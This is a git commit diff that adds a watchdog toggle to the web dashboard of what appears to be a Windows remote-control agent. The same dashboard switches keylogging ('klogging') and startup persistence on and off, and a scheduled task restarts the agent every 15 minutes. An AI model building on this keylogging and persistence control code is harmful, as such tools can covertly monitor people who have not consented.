feat(watchdog): separate watchdog from startup

- Add /api/v1/watchdog to enable/disable
- Scheduled task now runs every 15 minutes
- Use schtasks command line instead of XML
- Dashboard shows watchdog enabled state
- Preserve watchdog state during install
This commit is contained in:
2026-09-02 00:15:37 +03:00
parent 536ea9a53e
commit 977da8b109
16 changed files with 247 additions and 193 deletions
+26
View File
@@ -15,6 +15,9 @@
const startupState = document.getElementById("startup-state");
const startupAdd = document.getElementById("startup-add");
const startupRemove = document.getElementById("startup-remove");
const watchdogState = document.getElementById("watchdog-state");
const watchdogEnable = document.getElementById("watchdog-enable");
const watchdogDisable = document.getElementById("watchdog-disable");
const keylogState = document.getElementById("keylog-state");
const keylogEnable = document.getElementById("keylog-enable");
const keylogDisable = document.getElementById("keylog-disable");
@@ -135,9 +138,11 @@
["Uptime", `${data.uptime_seconds}s`],
["Local IPs", (data.local_ips || []).join(", ") || "—"],
["Startup", data.startup_enabled ? "enabled" : "disabled"],
["Watchdog", data.watchdog_enabled ? "enabled" : "disabled"],
["klogging", data.klogging ? "on" : "off"],
];
setStartup(Boolean(data.startup_enabled));
setWatchdog(Boolean(data.watchdog_enabled));
currentListen = data.listen_address || "";
syncUpdateMeta();
loadSettings().catch((err) => showError(err.message));
@@ -312,6 +317,12 @@
startupRemove.disabled = !enabled;
}
function setWatchdog(enabled) {
watchdogState.textContent = enabled ? "Watchdog: enabled" : "Watchdog: disabled";
watchdogEnable.disabled = enabled;
watchdogDisable.disabled = !enabled;
}
function setKeylog(enabled) {
keylogState.textContent = enabled ? "klogging: on" : "klogging: off";
keylogEnable.disabled = enabled;
@@ -339,6 +350,15 @@
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
const data = await res.json();
setStartup(Boolean(data.startup_enabled));
setWatchdog(Boolean(data.watchdog_enabled));
loadStatus().catch((err) => showError(err.message));
}
async function setWatchdogEnabled(enabled) {
const res = await api("/api/v1/watchdog", { method: enabled ? "POST" : "DELETE" });
const data = await res.json();
setStartup(Boolean(data.startup_enabled));
setWatchdog(Boolean(data.watchdog_enabled));
loadStatus().catch((err) => showError(err.message));
}
@@ -729,6 +749,12 @@
startupRemove.addEventListener("click", () => {
setStartupEnabled(false).catch((err) => showError(err.message));
});
watchdogEnable.addEventListener("click", () => {
setWatchdogEnabled(true).catch((err) => showError(err.message));
});
watchdogDisable.addEventListener("click", () => {
setWatchdogEnabled(false).catch((err) => showError(err.message));
});
keylogEnable.addEventListener("click", () => {
setKeylogEnabled(true).catch((err) => showError(err.message));
});
+6
View File
@@ -517,6 +517,7 @@
background: rgba(0, 0, 0, 0.2);
}
.startup-card .meta { flex: 1; min-width: 8rem; font-size: 0.92rem; color: var(--text-secondary); }
.startup-card + .startup-card { margin-top: 0.65rem; }
/* —— Tables —— */
.table-wrap {
@@ -757,6 +758,11 @@
<button id="startup-add" type="button">Add to startup</button>
<button id="startup-remove" class="danger" type="button">Remove from startup</button>
</div>
<div class="startup-card">
<span id="watchdog-state" class="meta">Watchdog: —</span>
<button id="watchdog-enable" type="button">Enable Watchdog</button>
<button id="watchdog-disable" class="danger" type="button">Disable Watchdog</button>
</div>
</section>
<section id="files" class="panel">